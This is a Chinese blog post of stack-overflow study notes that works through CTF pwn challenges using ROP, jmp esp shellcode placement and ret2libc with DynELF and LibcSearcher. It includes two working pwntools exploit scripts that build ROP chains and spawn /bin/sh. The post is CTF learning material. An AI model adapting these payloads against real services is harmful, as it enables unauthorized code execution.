栈溢出笔记-第四天
https://bbs.pediy.com/thread-248681.htm
pwn4这道题,查看是否有sytem系统函数,IDA中Alt+t
看system在plt表中的位置
查找一个pop xxx;ret为了堆栈平衡
也就是这个图的原理
在IDA中,plt表在的往下看找到.bss段发现buf2未初始化,所以gets函数参数传buf2,外部写入/bin/sh,在通过system调用/bin/sh
poc就是这样
from pwn import *
sh = process('./pwn4')
shelf = ELF('./pwn4')
gets_plt = shelf.plt['gets']
#system_plt = shelf.plt['system']
system_plt = 0x08048490
pop_ebx = 0x0804843d
#pop_ebp = 0x0804872f
buf2 = 0x804a080
#print u32(system_plt)
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xabcdabcd, buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
pwn5的这道题,因为开启了alsr,地址是随机的,但是有printf函数打印了buf地址,可以通过buf地址推算出shellcode地址,
最难理解的就是shellcode的地址,其实就是buf的地址加上32个字节的偏移,画一下堆栈图:
pwn6:pwn5上面的题是在ret addr下部署shellcode,pwn6就不行了,必须把shellcode放到ebp前面,堆栈图就是下面这样
说下JMP ESP指令作用就是不用知道具体知道shellcode指令在哪里,jmp esp : [eip]=[esp],这道题因为ebp下面空间不能部署shellcode了,所以需要sum esp 0x28;jmp esp再次跳到shellcode的地址
https://bbs.pediy.com/thread-248681.htm 这篇写的挺详细的,不用赘述了。上面的例子正好把第二天jmp esp那个demo给补充上了。
pwn7就跟昨天写的和蒸米最后一个例子类似了,ret2libc的方法,但是蒸米第一个poc是libc版本已知情况,未知的情况就用LibcSearch这个工具
蒸米用的是通过write函数leak got_write地址
看雪上的是通过puts函数leak libc_start_main_got地址,在进行计算
这篇文章介绍了几个工具可以试试,还有蒸米的http://www.vuln.cn/6644文章的Poc,写一个leak函数,DynELF进行暴力猜解。通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址,所以需要构造payload2通过read向bss段写入/bin/sh
#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('./level2')
plt_write = elf.symbols['write']
plt_read = elf.symbols['read']
vulfun_addr = 0x08048404
def leak(address):
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
p.send(payload1)
data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
p = process('./level2')
#p = remote('127.0.0.1', 10002)
d = DynELF(leak, elf=ELF('./level2'))
system_addr = d.lookup('system', 'libc')
print "system_addr=" + hex(system_addr)
bss_addr = 0x0804a018
pppr = 0x080484bd
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
#ss = raw_input() 向bss段中写入/bin/sh
print "\n###sending payload2 ...###"
p.send(payload2)
p.send("/bin/sh\0")
p.interactive()
pppr是为了堆栈平衡,通过read写入/bin/sh,p32(plt_read)read函数地址,p32(pppr)函数返回,回到pppr地址进行堆栈平衡,read有三个参数, p32(0)标准输入,p32(bss_addr)向这个地址写入,p32(8) 8个字节
payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
确定bss段地址可以IDA中看,也可以 readelf -S level2
堆栈平衡的地址
效果就是这样通过暴力破解知道libc版本的地址。
用LibcSearcher工具也是可以的,这次不需要用read向bss段写内容了,因为能够获取到。
64位计算填充数据大小奔溃的地址减去4个字节
目前看到64位的rop,明天把http://www.vuln.cn/6644
https://bbs.pediy.com/thread-255277.htm过一遍